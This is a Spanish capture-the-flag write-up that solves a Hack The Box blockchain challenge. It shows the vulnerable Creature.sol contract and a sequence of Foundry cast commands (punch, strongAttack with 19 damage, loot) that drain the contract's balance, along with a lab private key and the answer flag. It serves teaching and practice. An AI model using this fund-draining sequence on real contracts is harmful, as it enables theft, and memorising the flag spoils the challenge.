Survival of the Fittest
3 minutos de lectura
Se nos proporciona un Smart Contract llamado Creature.sol:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
contract Creature {
uint256 public lifePoints;
address public aggro;
constructor() payable {
lifePoints = 20;
}
function strongAttack(uint256 _damage) external{
_dealDamage(_damage);
}
function punch() external {
_dealDamage(1);
}
function loot() external {
require(lifePoints == 0, "Creature is still alive!");
payable(msg.sender).transfer(address(this).balance);
}
function _dealDamage(uint256 _damage) internal {
aggro = msg.sender;
lifePoints -= _damage;
}
}
También hay una página web, pero no es necesaria resolver el reto:

Solo es útil obtener los parámetros de conexión:

Además, dado que este es un reto para principiantes, en /docs podemos encontrar información sobre cómo abordar retos de Blockchain:

Configuración del entorno
En primer lugar, guardemos los parámetros de conexión como variables de shell:
$ PRIVATE_KEY='0x830fd7600f70dde871893e701e93cd903b31091e7a53f52f4794d934c3d15613'
$ ADDRESS='0x9dfc049f5F8a03C61e6447ed9E9CCeb2d3293aB7'
$ ADDRESS_TARGET='0x8B267564A3aCEab61e13A18CC836ECb54D45b739'
$ ADDRESS_SETUP='0x903f515d221b4bc5A0dC59021adFbD40B7A704A2'
$ RPC_URL='http://138.68.165.36:31749/rpc'
ADDRESS_SETUP hace referencia el Smart Contract que verificará si el reto está resuelto o no. Podemos usar cast de foundry (recomendado en el reto) para verificar que el reto aún no está resuelto (o podemos realizar una petición GET a /flag):
$ cast call $ADDRESS_SETUP 'isSolved()' --rpc-url $RPC_URL --private-key $PRIVATE_KEY
0x0000000000000000000000000000000000000000000000000000000000000000
$ curl 138.68.165.36:31749/flag
Conditions not satisfied!
Obsérvese el uso de call porque isSolved es un método view (que no modifica el estado del Smart Contract).
Análisis del código fuente
El Smart Contract Creature.sol instancia de una criatura con 20 puntos de vida:
contract Creature {
uint256 public lifePoints;
address public aggro;
constructor() payable {
lifePoints = 20;
}
// ...
}
Hay dos métodos llamados punch y strongAttack que usan un método privado llamado _dealDamage por detrás:
function strongAttack(uint256 _damage) external{
_dealDamage(_damage);
}
function punch() external {
_dealDamage(1);
}
// ...
function _dealDamage(uint256 _damage) internal {
aggro = msg.sender;
lifePoints -= _damage;
}
}
Como se puede ver, _dealDamage reduce la variable lifePoints en la cantidad proporcionada.
Finalmente, hay otra función pública llamada loot para verificar si la criatura está muerta o no:
function loot() external {
require(lifePoints == 0, "Creature is still alive!");
payable(msg.sender).transfer(address(this).balance);
}
Si la criatura está muerta, entonces el Smart Contract transfiere fondos al Smart Contract Setup (que dirá si el reto está resuelto).
Solución
Entonces, la idea es interactuar con el Smart Contract Creature y disminuir sus puntos de vida hasta 0. Obviamente, si usamos loot, el Smart Contract mostrará el mensaje de error ya que lifePoints no es cero:
$ cast send $ADDRESS_TARGET 'loot()' --rpc-url $RPC_URL --private-key $PRIVATE_KEY
Error:
(code: 3, message: execution reverted: Creature is still alive!, data: Some(String('0x08c379a0000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000184372656174757265206973207374696c6c20616c697665210000000000000000')))
Vamos a usar punch por ejemplo:
$ cast send $ADDRESS_TARGET 'punch()' --rpc-url $RPC_URL --private-key $PRIVATE_KEY
blockHash 0xd9f1f255ec7624b32eb5f93bbeaf1549affe1df0d1d2c82c7d0110b56b418ca0
blockNumber 2
contractAddress
cumulativeGasUsed 48481
effectiveGasPrice 3000000000
gasUsed 48481
logs []
logsBloom 0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
root
status 1
transactionHash 0xad471173c97beda47e46e238f22b5574cc24072211a8ec49d0260f087e4f716d
transactionIndex 0
type 2
Pero es mejor usar strongAttack ua que podemos especificar la cantidad de daño a realizar (19 porque punch ya hizo un daño de 1 punto de vida):
$ cast send $ADDRESS_TARGET 'strongAttack(uint256)' 19 --rpc-url $RPC_URL --private-key $PRIVATE_KEY
blockHash 0xd39366ccbf25a511f6f57cf82009d0fba0411fc9e7d41701e8a4ce65d2610b30
blockNumber 3
contractAddress
cumulativeGasUsed 24033
effectiveGasPrice 3000000000
gasUsed 24033
logs []
logsBloom 0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
root
status 1
transactionHash 0x016abac7631d449ccf1248f93989d2d408114b166da0806367a4d91847c4caa6
transactionIndex 0
type 2
Nótese el uso de send porque estos métodos modifican el estado del Smart Contract.
En este punto, loot funciona bien:
$ cast send $ADDRESS_TARGET 'loot()' --rpc-url $RPC_URL --private-key $PRIVATE_KEY
blockHash 0xc6225906dde3c4bdbfb61a691f0cfab3ce0d037a984723b837cc8cad1308b71e
blockNumber 4
contractAddress
cumulativeGasUsed 30240
effectiveGasPrice 3000000000
gasUsed 30240
logs []
logsBloom 0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
root
status 1
transactionHash 0x7a11627dc62d527f046fc559937e38b5537530b0abe7462a1bdd5af51fa58513
transactionIndex 0
type 2
Y ya podemos verificar si el reto está resuelto:
$ cast call $ADDRESS_SETUP 'isSolved()' --rpc-url $RPC_URL --private-key $PRIVATE_KEY
0x0000000000000000000000000000000000000000000000000000000000000001
Flag
Lo está, así que vamos a obtener la flag:
$ curl 138.68.165.36:31749/flag
HTB{g0t_y0u2_f1r5t_b100d}